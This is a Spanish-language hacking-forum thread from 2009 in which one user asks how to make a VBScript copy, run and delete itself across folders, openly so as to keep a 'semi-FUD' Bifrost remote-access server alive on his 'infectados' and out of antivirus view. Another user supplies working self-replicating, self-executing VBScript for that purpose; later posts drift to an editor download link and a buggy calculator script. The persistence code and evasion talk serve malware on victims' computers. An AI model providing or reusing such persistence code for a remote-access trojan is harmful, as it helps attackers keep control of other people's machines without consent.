Copiar el script en varias carpetas [vbscript]

Iniciado por kdemia, 4 Septiembre 2009, 22:14 PM

0 Miembros y 1 Visitante están viendo este tema.

kdemia

ya te mando un mp y un mail, no qiero parecer pesado,
primero que nada te felicito por el tuto mui bueno,
una pregunta como hago para que un vbs se copie asi mismo durante varias carpetas
por ejemplo
set x = createobject("scripting.filesystemobject")
x.movefile ("prueba.vbs"), ("C:\")
x.movefile ("C:\prueba.vbs"), ("D:\")

algo asi pero mas largo, el tema es que cuando lo ejecuto me salta un error como que el archivo ya existe, i no me deja, la pregunta es hay alguna manera q el vbs este en movimiento continuo o por lo menos de q se mueva dos veces aunq sea..
desde ya muchas gracias

Novlucker

Buenas ...

Te he separado el tema para poder responder mejor las preguntas que tengas  :P

Como es eso de que quieres mover el script opr varias carpetas?

Tu script no lo vas a poder mover, ... porque se encuentra en uso .. como cuando tenemos un archivo de word por ejemplo y no lo puedes cambiar de directorio por estar en uso, .. si podrás copiarlo .. pero no moverlo  :-\

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

kdemia

#2
claro esa era mi idea inicial, ir copiandolo ejecutandolo i borrando el anterior, pero como vi elcomando mover  me fue mas util yo lo pense eso de estar en uso, pero si se puede auto eliminar por ahi se podia mover,  pero bueno, osea mover una ves se puede lo q no se puede es mover mas de una ves, ejemplo
set x = createobject("scripting.filesystemobject")
x.movefile ("file.vbs"), ("C:\")

eso se puede lo q no se puede es cuando le agrego otro comando de mover osea q mueva el q movi, valga la redundancia, ahi me tira un error, es medio raro, pero bue.. en el caso q se pueda ir moviendo i borrando,  el algoritmo tendria algun objeto que ignore?

ya que esta te cuento porque quiero crear esto.. tenog un server de bifrost semi FUD, solo lo detectan el bitdefender, el karspersky i otro mas..que por un mal funcionamiento de estos av con el virtual pc, no me los detectan como virus, bueno .. a la mayoria de mis infectados, no abri por un dia el bifrost i me desaparecieron la mayoria de mis infectados, no tengo idea poruqe, asi que lo que qiero hacer es a mis infectados hacerles un vbs que vaya por todas las carpetas de windows, llevando consigo el server, y a su ves ir ejecutandolo, para asegurarme que siempre este instalado, a muchos se les abra ocurrido meter el servidor en la carpeta inicio, es lo que hice por el momento, pero es demasiado visible, asi que bueno si alguien sabe porq ocurrio esto del bifrost por favor conteste, y con respecot al vbs, es lo que mas me gusta
me olvide de decirles, muchos diran,- se actualizo la base de virus de  el av de tus infectados- bueno es lo q pense desde el principio, pero recuerdo que muchos tenian el av con el id i pass vencidos asi q imposible de q haya ocurrido eso.. y novirusthanx me sigue diciendo lo mismo de la indetectabilidad, aparte tengo otro infectado que tiene el mismo av q los que desaparecieron pero a este si se le actualiza..

mas resumidamente seria la consulta : como hago para hacer q un vbs se vaya moviendo, copiando o lo que sea por al menos 3 carpetas...
i otra consulta seria : un vbs puede crear i ejecutar otro vbs?

i la consulta colgada   :xD:  si alguien sabe porq me ocurrio esto con el bifrost

bueno muchas gracias a los que responden, i a los que no tambien por leer e interesarce

Novlucker

Lo que te ocurre es que el primer movefile te sirve, para a la segunda ya no encuentra la referencia porque lo busca en el lugar de origen  :P

Por esto es mejor utilizar copyfile para copiar en lugar de mover, mira el siguiente script como ejemplo

Código (vb) [Seleccionar]
set objfso = createobject("scripting.filesystemobject")
set objshell = createobject("wscript.shell")
wscript.sleep 5000

OScript = wscript.scriptfullname
ONameScript = wscript.scriptname

DirEjUno = "D:\"
DirEjDos = "C:\"


If oScript = DirEjDos & ONameScript then
objfso.copyfile oscript, DirEjUno & ONameScript
wscript.sleep 2000
objshell.run DirEjUno & ONameScript
Else
objfso.copyfile oscript, DirEjDos & ONameScript
wscript.sleep 2000
objshell.run DirEjDos & ONameScript
End if

Wscript.sleep 1000
objfso.deletefile OScript


Ponlo en el C: o D: y fijate como alterna entre uno y otro a intervalos de 5 segundos  :P, ten en cuenta que este script se podría mejorar MUCHISIMO, pero lo he hecho rapidamente para que simplemente entiendas el concepto, además de que con el copy, queda respondido lo de si un vbs puede crear otro  ;)

Saludos
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

kdemia

mira hago el siguiente programa que es mui parecido al tuyo solamente que lleva consigo un texto pero ya cuando lo va a mover por segunda ves me tira un error "file not found"  a ver si me podrias nuevamente ayudar o alguien.. ;D ;D

programa:

set copiar = createobject("scripting.filesystemobject")
set arrancar = createobject("wscript.shell")

nombrecompleto = wscript.scriptfullname
nombre = wscript.scriptname

c = "C:\"
d = "D:\"
texto = "texto.txt"

if nombrecompleto = c & nombre then
copiar.copyfile nombre, d & nombre
wscript.sleep 2000
copiar.copyfile texto, d & texto
wscript.sleep 2000
arrancar.run d & nombre

else
copiar.copyfile nombre, c & nombre
wscript.sleep 2000
copiar.copyfile texto, c & texto
wscript.sleep 2000
arrancar.run c & nombre
end if

copiar.deletefile texto
copiar.deletefile nombre

kdemia

voi a compartir el programa que consegui, es un entorno para trabajar con vbs i mas pero es mui util i facilita mucho el trabajo pruebenlo

http://www.mediafire.com/download.php?cmjxwzzyzmj

Novlucker

Nah! eso no es un entorno, es un bloc de notas al que le han agregado un par de botones.

Prueba Vbsedit ...


Saludos  ;D
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

kdemia

a mui bueno jejej, ahora lo voi a probar la verdad nose como agradecerte todo el impetu que pones en ayudar  ;D

Novlucker

Como te había dicho, he estado revisando tu script y aparentemente no tiene errores, salvo que al principio del script debes de poner una pausa, como lo había hecho en el mío, ya que de este modo cuando nuestro script ejecuta a su copia, la copia le da tiempo de terminar antes de comenzar, sino "chocan".

De cualquier manera no funciona como debe y no veo el problema >:( , igual lo voy a seguir mirando
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD

"Hay dos cosas infinitas: el Universo y la estupidez  humana. Y de la primera no estoy muy seguro."
Albert Einstein

kdemia

bueno muchas gracias, ahora voi a intentar al txt moverlo en vez de copiarlo, por otro lado hice una "calculadora" i si pongo, ejemplo 1 + 1 me da 11 en vez de 2, en cambio si pongo 4 / 2 me da 2 o si resto 2 - 1 me da 1 y cuando quiero hacer una multiplicacion, no entra, aca les dejo el programa asi ven a lo que me refiero

Sub calcular (num1, operador, num2)
If operador = "+" or operador = "-" or opeardor = "*" or operador = "/" then
select case operador
case "+"
msgbox num1 + num2, 64, "Resulado"
case "-"
msgbox num1 - num2, 64, "Resulado"
case "*"
msgbox num1 * num2, 64, "Resulado"
case "/"
msgbox num1 / num2, 64, "Resulado"
end select
else
msgbox operador & "  no es un operador", 16, "Error"
end If
End sub
Set shell = CreateObject("wscript.shell")
res = shell.Popup("Listo?", 60, "Pregunta", 36)
While res = 6
num1 = InputBox("Escriba el primer numero","Numero 1")
operador = InputBox("Escriba el operador","operador")
num2 = InputBox("Escriba el segundo numero","Numero 2")
Call calcular (num1, operador, num2)
res = shell.Popup("Queres hacer otra cuenta?", 60, "Pregunta", 36)
wend